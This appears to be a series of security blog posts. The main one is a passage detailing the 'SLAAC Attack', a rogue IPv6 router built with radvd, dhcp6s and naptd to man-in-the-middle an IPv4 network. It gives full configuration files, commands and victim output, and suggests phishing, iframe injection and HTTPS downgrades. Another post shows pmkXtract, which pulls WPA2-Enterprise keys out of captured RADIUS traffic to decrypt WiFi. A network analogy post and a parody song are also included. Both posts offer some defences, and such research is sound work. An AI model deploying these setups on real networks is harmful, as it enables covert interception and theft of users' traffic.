The “special sauce” is NAT-PT, an idea that’s so riddled with issues and caveats that it’s been consigned to the trashcan of history by the IETF. However, just because it’s an obsolete mess doesn’t mean it can’t be useful.

NAT-PT is one of the many IPv4-to-IPv6 transition mechanisms that have been devised to ease migration from the old to the new. Its job is to allow islands of IPv6 hosts to communicate with IPv4 hosts by translating IPv6 addresses into IPv4 addresses and vice versa. There’s a writeup here that shows its intended operation. It’s NAT-PT that allows our IPv6-addressed victims to access the Internet through evil-rtr’s IPv4 interface.

To use NAT-PT you need to define an off-link /96 prefix; it can be pretty much any routable prefix you like. Any destination addresses seen by NAT-PT which match this prefix are interpreted as IPv6 addresses with a destination IPv4 address embedded in the last 32 bits.

slaacattack3

For example, I might tell my NAT-PT box that the prefix I’m using is 2001:6f8:608:ace::/96. The IPv6 address of the DNS server that we’re going to give out via DHCPv6 is 2001:6f8:608:ace::c0a8:5802 – this address matches the specified prefix, so if NAT-PT sees traffic destined for  it the last 32 bits (c0a8:5802) will be extracted and translated into the DNS server’s true IPv4 address of 192.168.88.2.

The Garnish on the Special Sauce

We’re nearly there. With NAT-PT in place, evil-rtr is now providing a working path from the IPv6 victims to the IPv4 Internet. If we can cause the victims to pump IPv6 traffic through evil-rtr (instead of sending IPv4 through the legitimate border router) we can have our MITM fun. It turns out that this is quite straightforward.

Thanks to evil-rtr, our victims have both IPv4 and IPv6 addresses; they are “dual stacked”. Dual stacked hosts will prefer to use native IPv6 where available, so we’re half way there already. The final garnish that will take us the rest of the way is DNS.

The dual stacked victims have an IPv4 DNS server (courtesy of the legitimate DHCP server) and an IPv6 DNS server (courtesy of evil-rtr’s DHCPv6 server). When one of the victims tries to look up http://www.google.com, it will send a DNS query to its IPv6 DNS server for both A (IPv4) and AAAA (IPv6) records. If the IPv6 DNS server can return results in a timely enough fashion, the victim will pick the IPv6 address over the IPv4 one if the former is present. It is this behaviour we will rely on to lure traffic through evil-rtr. Our IPv6 DNS server has to be quick, though – if it takes too long to reply, the victim will fall back to using the legitimate IPv4 DNS server instead, and no traffic will pass through evil-rtr.

But how can we make sure that any given DNS query always returns an IPv6 address?

NAT-PT implementations usually include a set of Application Layer Gateways (ALGs) which inspect traffic that has IP addresses carried within the application layer protocol. DNS is an example of a protocol that requires an ALG, as is FTP. Here’s what the IPv6 DNS transaction looks like with NAT-PT and the DNS ALG working their magic:

slaacattack4

Things to note:

  • The address of the victim’s DNS server matches the NAT-PT prefix on evil-rtr, denoting that the last 32 bits contain the DNS server’s IPv4 address.
  • NAT-PT translates the source and destination IPv6/IPv4 addresses in both directions.
  • The DNS ALG translates the victim’s AAAA query for an IPv6 address into an A query for an IPv4 address and vice versa on the way back.
  • The DNS ALG also translates the IPv4 address in the reply to an IPv6 address that matches the NAT-PT prefix.

As far as the victim is concerned, http://www.google.com is reachable via IPv6 at 2001:6f8:608:ace::d155:8f63. It has absolutely no idea that IPv4 is involved in any way. The victim will therefore contact Google like this:

slaacattack5

evil-rtr is therefore now a man-in-the-middle between the victim and Google.

To summarise the story so far:

  • We have not compromised or altered the operation of the victim’s IPv4 network, as we would have needed to do in order to MITM IPv4 traffic. We’ve not even needed to get an IPv4 address from their DHCP server.
  • We have not compromised an existing IPv6 network, because there wasn’t one before we arrived.
  • We have not compromised any given victim host (yet!). Each machine is behaving as designed and is choosing IPv6 over IPv4 of its own volition.
  • We have managed to totally alter the flow of traffic on the victim’s network by awakening the hosts’ latent desire to use IPv6 over IPv4.

The attack is also reasonably stealthy, since:

  • We’re introducing a new path to the Internet. Any defences or monitoring employed at the network’s IPv4 boundary are therefore ineffective and will raise no indicators of compromise.
  • There’s a chance that the victim’s security systems (e.g., host firewalls, HIPS, SIEM boxes, etc.) won’t be able to handle IPv6 traffic. IPv6 support on such systems is rarely as mature as its IPv4 equivalent.
  • Since the victims “aren’t using IPv6” they won’t be expecting an attack that makes use of it.

If the above is true, there’s a chance their Incident Response teams won’t have the necessary training and experience with IPv6 to deal with an incident that uses it.

Building evil-rtr

It doesn’t take much to implement evil-rtr. Only three packages are needed, namely radvd, dhcp6s, and naptd. Before we get these up and running, we need to set up our interfaces. In this example, eth0 is the Internet-facing IPv4 interface, and I’m going to assume that it can use a DHCP server somewhere to get an address. eth1 is the IPv6 interface, which we’ll configure like this:

root@evil-rtr:~# ifconfig eth1 inet6 add 2001:6f8:608:fab::1/64
root@evil-rtr:~# ifup eth1
root@evil-rtr:~# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:25:4b:fd:91:73
          inet6 addr: 2001:6f8:608:fab::1/64 Scope:Global
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

We also need to make sure that IPv6 forwarding is turned on:

root@evil-rtr:~# sysctl -w net.ipv6.conf.all.forwarding=1 net.ipv6.conf.all.forwarding = 1

Now we can install our IPv6 toys.

radvd

This package is responsible for sending RAs to our victim hosts, and can be obtained here. The configuration file is quite straightforward:

interface eth1 {
          AdvSendAdvert on;
          AdvOtherConfigFlag on;
          MinRtrAdvInterval 3;
          MaxRtrAdvInterval 10;
          prefix 2001:06f8:0608:fab::/64 {
                    AdvOnLink on;
                    AdvAutonomous on;
                    AdvRouterAddr on;
          };
};

The important parts are the link prefix and the setting for AdvOtherConfigFlag. Setting this to “on” will set the O flag in the RAs. The O flag tells a client that it should also try to contact DHCPv6 for further configuration. Fire up radvd according to the documentation, and move on to…

dhcp6s

I downloaded the WIDE DHCPv6 server from here. We have very little to hand out via DHCPv6, so the configuration file has just two lines:

option domain-name-servers 2001:6f8:608:ace::c0a8:5802;
option domain-name "pwned.by.v6";

Start it up, and move on to…

naptd

Get it here. Following the excellent documentation, we need to configure iptables and ip6tables like this:

root@evil-rtr:~# ip6tables -A OUTPUT -p icmpv6 --icmpv6-type 1 -j DROP
root@evil-rtr:~# ip6tables -A FORWARD -d 2001:6f8:608:ace:: -j DROP
root@evil-rtr:~# iptables -A INPUT -i lo -j ACCEPT
root@evil-rtr:~# iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
root@evil-rtr:~# iptables -A INPUT -m state --state NEW -p tcp -m tcp --dport 22 -j ACCEPT
root@evil-rtr:~# iptables -A INPUT -j DROP

Then we can run napt-confmaker. I answered pretty much every question with the default answer, apart from the interface selections and the NAT-PT prefix.

Once we start naptd running, the trap is set.

The Attack

This is what the output of ipconfig looks like on the victim host before evil-rtr’s IPv6 interface is connected to the network:

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix  . :
Description . . . . . . . . . . . : Atheros AR8131 PCI-E Gigabit Ethernet Controller (NDIS 6.20)
Physical Address. . . . . . . . . : 00-26-9E-47-4E-0F
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::119c:ea76:23d4:290d%10(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.0.2(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : 30 March 2011 23:23:08
Lease Expires . . . . . . . . . . : 31 March 2011 13:55:33
Default Gateway . . . . . . . . . : 192.168.0.251
DHCP Server . . . . . . . . . . . : 192.168.0.251
DHCPv6 IAID . . . . . . . . . . . : 285221771
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-12-52-C9-D5-00-26-9E-47-4E-0F
DNS Servers . . . . . . . . . . . : 192.168.0.251
NetBIOS over Tcpip. . . . . . . . : Enabled

The presence of a link-local IPv6 address confirms that the host is IPv6-capable. Once we connect evil-rtr’s eth1 interface, the victim host sees the RAs, derives a routable IPv6 address for itself, then queries DHCPv6 for further configuration. Almost immediately, the output of ipconfig will change to look like this:

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix  . : pwned.by.v6
Description . . . . . . . . . . . : Atheros AR8131 PCI-E Gigabit Ethernet Controller (NDIS 6.20)
Physical Address. . . . . . . . . : 00-26-9E-47-4E-0F
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv6 Address. . . . . . . . . . . : 2001:6f8:608:fab:119c:ea76:23d4:290d(Preferred)
Temporary IPv6 Address. . . . . . : 2001:6f8:608:fab:687a:83f:caa7:8f9c(Preferred)
Link-local IPv6 Address . . . . . : fe80::119c:ea76:23d4:290d%10(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.0.2(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : 30 March 2011 23:23:08
Lease Expires . . . . . . . . . . : 31 March 2011 13:55:33
Default Gateway . . . . . . . . . : fe80::225:4bff:fefd:9173%10
192.168.0.251
DHCP Server . . . . . . . . . . . : 192.168.0.251
DHCPv6 IAID . . . . . . . . . . . : 285221771
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-12-52-C9-D5-00-26-9E-47-4E-0F

DNS Servers . . . . . . . . . . . : 2001:6f8:608:ace::c0a8:5802
192.168.0.251
NetBIOS over Tcpip. . . . . . . . : Enabled
Connection-specific DNS Suffix Search List : pwned.by.v6

It’s game over for the poor victim host:

  • It has routable IPv6 addresses of its own
  • It has an IPv6 default gateway, which is actually the link-local address of evil-rtr’s eth1 interface rather than the address we manually gave it earlier on.
  • It has an IPv6 DNS server whose address matches the NAT-PT prefix used by naptd, and which will be translated into the IPv4 address of evil-DNS.

We have successfully awakened the victim’s latent desire to use IPv6 in preference to IPv4. We’ve not needed any passwords, hacks or brute force. All we had to do was nudge the victim in the right direction.

Poetry in Motion

When the victim browses to http://www.google.com, evil-rtr’s IPv6 eth1 interface sees this (download capture):

slaacattack6

You can see the DNS queries sent via IPv6 to evil-DNS; both A and AAAA queries are sent, and IPv4 and IPv6 addresses delivered in response. Note that the returned IPv6 address matches our NAT-PT prefix, indicating that it has an embedded IPv4 address. The victim will choose to use this IPv6 address over the IPv4 one; evil-rtr is the man-in-the-middle.

The same transaction on evil-rtr’s IPv4 eth0 interface looks like this (download capture):

slaacattack7

Note that all the IP addresses are IPv4, and all the DNS queries are all for A records instead of the mix of A and AAAA that we saw on eth1.

Developing the Attack further

There are several things we can do to take the attack further:

  • Given that this attack uses implanted hardware, we can make it really really tiny. Gumstix is an ideal platform; they’re small, they run Linux, and there’s a wide range of hardware on offer giving you a very small platform with an Ethernet interface to attach to the target network and an autonomous Internet connection. I’ve used Gumstix before; once you’ve got the build environment set up, the world’s your oyster.
  • We control evil-DNS, so we can make it return any IP address we like for http://www.google.com, thereby opening up numerous opportunities for phishing.
  • In its current state, evil-rtr will MITM all traffic that is the result of a DNS query; this isn’t exactly subtle. If we can make evil-DNS return addresses only for sites of interest we can be a good deal more selective. If we can make evil-DNS ignore requests we don’t care about, the victim will fall back to their IPv4 DNS server and traffic will flow as normal.
  • As we are the man-in-the-middle, we have the opportunity to interfere with the traffic between the client and the server. We could inject malicious iframes, change https:// links to plain old http:// links, etc, etc.
  • <insert other creative evil here>

Defending against evil-rtr

The attack is possible because we were able to inject RAs onto a network of IPv6-capable hosts – the key differentiator between this attack and other similar ones is that we are not trying to subvert an existing IPv6 network; we are instead trying to build a new one out of nothing. Nevertheless, our rogue RAs were the catalyst for the successful attack. If we can stop them in their tracks, the attack will go nowhere.

Most of the time, rogue RAs are nothing more than a nuisance, often generated as a result of something as simple as turning on Windows’ Internet Connection Sharing. However, it is a serious enough issue for the IETF to put together RFC6104, the “Rogue IPv6 Router Advertisement Problem Statement”. This document is more concerned with brokenness caused by “accidentally-rogue” RAs than it is with security issues, but Section 3 gives a useful list of mitigation techniques. Sadly, most of these are difficult to employ either due to the lack of a suitable implementation (e.g., SEND), or a lack of capable hardware (e.g., RA Guard or switch ACLs). Cisco also have some tips on first hop security here and here.

If the attack can’t be prevented by the methods listed in RFC6104, perhaps it can be detected instead. NDPMon is an IPv6 equivalent to ArpWatch and is designed to detect suspicious neighbour/router discovery traffic.

However, neither RFC6104 nor NDPMon will help to defend against the SLAAC Attack. Why would anyone deploy IPv6 countermeasures when they “aren’t using” IPv6? The SLAAC Attack targets IPv6-capable IPv4 networks, not native IPv6 or dual stack ones. The most effective defence is simply to disable IPv6 on all capable hosts if there’s no business reason to use it:

slaacattack8

This is in complete alignment with the “Minimised” principle of the Defensible Network, but doesn’t exactly foster the accelerated adoption of IPv6. I know which way I’d jump!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

Indiana Jones and the Contextless Artefact of Doom

Posted in NSM on 16 March, 2011 by Alec Waters

If archaeology floats your boat, in the UK there’s a TV series called “Time Team“. Each episode is fronted by the ever-enthusiastic Tony Robinson (best known for playing Baldrick in Blackadder), and documents a three-day excavation of interesting-site-du-jour.

Archaeology is a bit like tech forensics, in that it is the search for truth amidst a gigantic pile of stuff, some of which may be useful, some of which may not. Features (such as walls, ditches, post holes, etc) and finds (pottery, jewellery, medieval trash, etc) take the place of logs and NSM data, but the investigative methodologies have many parallels.

One astonishing episode was called “Celtic Spring”, which featured the team investigating a highly dubious site containing a hotch-potch of different things that really ought not be in such close proximity to one another. With open minds and their usual professionalism, they proceeded to expose what amounted to a hoax perpetrated by a nineteenth century cleric and twentieth century persons unknown. You can watch the episode here (have patience with the advertising, it soon passes!)

The point of this post concerns a spectacular find – an Iron Age sword, of which only two or three have ever been found in Wales. It wasn’t an ordinary iron age sword, either (if such a thing exists!), it was confirmed as a genuine La Tène sword from Switzerland – none of these have ever been found so far from home.

Dr Jones would have been ecstatic. He’d have rushed it back to Marcus and got it in the museum, probably after using it to escape from some dastardly trap.

However, the Time Team archaeologists weren’t so happy. They were cross. Some of them were absolutely livid. As they excavated the sword, they started to get the feeling that things weren’t quite right. It wasn’t buried very deep down. It was in an odd place to find such a thing. It was alone, with no other finds nearby. And most damning of all, it was above a buried strand of barbed wire, meaning it could only have got there after the wire did.

It turns out that barbed wire is a remarkably datable thing. The gauge and metal used, the nature of the twist and the pattern of the barbs all contribute to identification. This particular barbed wire was no more than twenty years old, meaning the sword had been in the ground for less time than this.

This was the cause of the archaeologists’ dismay. Yes, the sword in itself is a wonderful artefact, but, despite the antics of Dr Jones, archaeologists want to understand how people lived more than they want shiny trinkets for the museum. The sword had been removed from its original La Tène context and dumped unceremoniously in a Welsh ditch, presumably so the perpetrator could get his fifteen minutes of fame. Out of context, the sword is useless for understanding the La Tène culture. The archaeologists want to know who owned the sword, how they lived, how they died, and how they were prepared for their journey to the next world. Had the sword been found in context where it was left, these questions could have been answered. As it is, the sword is useless for these purposes.

An archaeologist ignoring the context of a find

An archaeologist ignoring the context of a find

Finally getting back to the NSM domain, the importance of establishing and investigating context is just as clear. Having Snort tell you it’s seen an instance of “Suspicious Inbound AlphaServer UserAgent” isn’t terribly useful on its own. It needs to be placed into context – when did it happen? What was the source? What was the destination? What exactly was the HTTP conversation all about? Did it have any impact? Only by taking the alert in the context of other indicators can answers be had. Even seemingly open-and-shut cases need to have their indicators put into context and investigated fully.

Indicators are hardly ever standalone entities – get out your trowel and brush, open a trench, and don’t stop digging until you have all the answers!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

Blackhat Singing Nun dispenses security tips

Posted in Silly on 21 February, 2011 by Alec Waters

The Blackhat Singing Nun, h@xx0rM4riA, reveals some of the secrets to her success:

Unpatched workstations with no anti-malware,
Firewalls with holes in, my victims beware!
WEP on your wifi, such joy does it bring,
These are a few of my favorite things.

Six letter passwords, no symbols no numbers,
Lazy sysadmins all lost in a slumber,
Unopened logfiles, alarms that don’t ring,
These are a few of my favorite things.

Passwords for Facebook and corporate login,
Why make them diff’rent, why bother with slogging?
Unfiltered Internet, no web blocking,
These are a few of my favorite things,

When I’m locked out,
Exploits failing,
When I’m feeling sad,
I simply remember my favorite things,
And then I don’t feel so bad!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

Tweaking EAP’s weak link – sucking WiFi PMKs out of RADIUS with pmkXtract

Posted in Crypto, Networking, Wireless on 23 January, 2011 by Alec Waters

When faced with a WiFi network using WPA2/EAP-TLS, options for a direct attack are limited. You can’t feasibly attack the encryption (most likely CCMP), and if the client devices are configured properly attacking the authentication mechanism directly isn’t likely to bear fruit either.

One of the advantages of the “enterprise” variants of WPA is that the Pairwise Master Keys are specific to a client device and to a single association (WPA Personal has the same PMK shared amongst all devices). To oversimplify somewhat, with WPA Enterprise the PMK for a given device is negotiated between the device and the RADIUS server as part of the EAP process. The PMK is subsequently delivered to the access point via RADIUS. Once both the client device and the AP have the PMK the normal WPA four-way handshake can complete, the output of which is a Pairwise Transient Key which is used to encrypt the session. There’s a nice diagram of the process here.

However, there is a weak link in the chain. Hacking Exposed Wireless, 2nd edition describes a possible attack against the delivery of the PMK from the RADIUS server to the access point. The theory of operation is as follows:

  1. Start capturing the wireless traffic of interest.
  2. Start capturing the RADIUS traffic between the RADIUS server and the access point.
  3. Using an obtained RADIUS shared secret, decrypt the RADIUS traffic that contains the PMKs.
  4. Use the extracted PMKs and the captured four-way handshakes to derive each device’s PTK.
  5. Decrypt every single data frame you’ve captured from the wireless network 🙂

The book didn’t cite any tools capable of extracting the PMKs from the RADIUS conversation, so I thought I’d have a go at writing one myself. The reason the book didn’t cite any tools is probably that if an attacker is in a position to capture your RADIUS traffic, you probably have bigger things to worry about. Nevertheless, it seemed like a challenge worth attempting.

Of the five points above, 1 and 2 are straightforward (assuming the attacker is well placed). 4 and 5 can be easily carried out with Wireshark. Step 3 breaks down into obtaining the shared secret and decrypting the PMKs.

Obtaining the RADIUS shared secret

As noted in Hacking Exposed Wireless, a brute force attack on the shared secret is quite feasible. Alternatively, one can just poke around the RADIUS server and find the list of secrets. For example:

  • FreeRADIUS stores all of this in clients.conf
  • Internet Authentication Service on Windows 2K3 stores everything in system32\ias\ias.mdb which you can open in MS Access (look in the Objects table)
  • Network Policy Server on Windows 2k8 stores everything in system32\ias\ias.xml in plaintext.

Secrets in hand, we can move on to…

Decrypting the PMKs

We first need to start capturing the WiFi traffic of interest. We can do this with airodump-ng:

airmon-ng start wlan0
airodump-ng –channel 1 –bssid 00:1c:df:8b:50:66 –write pmkXtract mon0

Now we can turn our attention to capturing the PMKs. The PMKs are transmitted in the final RADIUS message of the transaction (the Access-Accept message), and they’re stored encrypted in a vendor-specific attribute, MS-MPPE-Recv-Key:

Given the correct shared secret, Wireshark is apparently capable of decrypting RADIUS traffic but I couldn’t make it work for MS-MPPE-Recv-Key. Shying away from actually writing decryption code from scratch, I invoked the age-old software engineering tradition of “code re-use”, aka pinching someone else’s stuff.

hostapd is a user-space access point daemon, and has full support for EAP-TLS. After nosing around and debugging the code, I found the procedure that does the decryption – decrypt_ms_key() in radius.c.

pmkXtract

pmkXtract is a quick and dirty hack that wraps up decrypt_ms_key(); all we need to do is feed it:

  • The RADIUS shared secret
  • The request authenticator from the final Access-Request message
  • The MS-MPPE-Recv-Key from the following Access-Accept message

A neater, future version of pmkXtract would capture the latter two straight off the wire, but for now they are CLI parameters. The most convenient way to get these values is with tshark, supplying the appropriate capture filter:

tshark -T fields -e radius.code -e radius.id -e radius.authenticator -e radius.MS_MPPE_Recv_Key -E separator=! ip host access.point.ip.addr

This will produce output like this:

<snip>
1!10!a0:29:27:a6:60:a8:f4:cb:4c:1d:b3:fa:46:b4:63:e4!
11!10!8b:eb:bf:dd:47:b8:46:35:92:33:6d:bb:ec:23:e8:2f!
1!11!a2:9f:92:ec:93:5b:05:ef:f6:a1:82:0a:6c:dd:37:52!
11!11!85:f7:35:08:39:da:f1:0c:4a:3e:fa:af:00:e7:af:d4!
1!12!5d:5c:3c:99:86:fc:d6:2e:a1:fc:fb:85:7e:6d:69:5d!
2!12!9e:13:52:10:ab:b9:74:99:37:ab:8d:b9:ec:3f:b0:9a!80:8a:7c:
d5:62:6c:0a:d9:ad:5b:0f:e5:5b:1d:56:d5:59:38:7a:06:ab:
b1:65:8a:a6:b4:a6:9f:b2:ea:d9:32:49:d2:3a:f0:ba:d0:b1:
77:fc:e5:b9:77:fe:dc:c2:04:7d:79

What we’re looking for is a pair of code1/code2 messages with the same ID, as is the case with the last two lines above with ID 12. Code 1 denotes Access-Request, code 2 is Access-Accept. Now we can pass the message authenticator from the access-request and the MS-MPPE-Recv-Key from the access-accept to pmkXtract, along with the shared secret:

C:\>pmkXtract secret 5d:5c:<snip>:69:5d 80:8a:<snip>:7d:79
PMK is:c8cad1f342e431bdf97b3fd1c37bf2fe
d74b9c785d302430ea418a04998b9ee4

Score! We’ve got the PMK.

Decrypting the captured WiFi traffic

The first thing we need to do is look through our airodump capture for the WPA four-way handshake:

Frames 134, 136, 138, and 140 are the four-way handshake

As we might expect, the contents of the capture is unintelligible:

Now we can enter the PMK that pmkXtract gave us, by going Edit->Preferences, and selecting IEEE802.11 under Protocols:

And hey presto, we have decrypted the traffic. Note the “Decrypted CCMP data” sub-tab at the bottom of the window:

As I’ve already said, if an attacker can pull this off, they already have a deep foothold in your infrastructure. Use strong RADIUS secrets, secure the list of secrets on the server (clients.conf, ias.mdb, etc) as well as you can, and if it’s possible, protect the RADIUS exchange with IPSec.


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk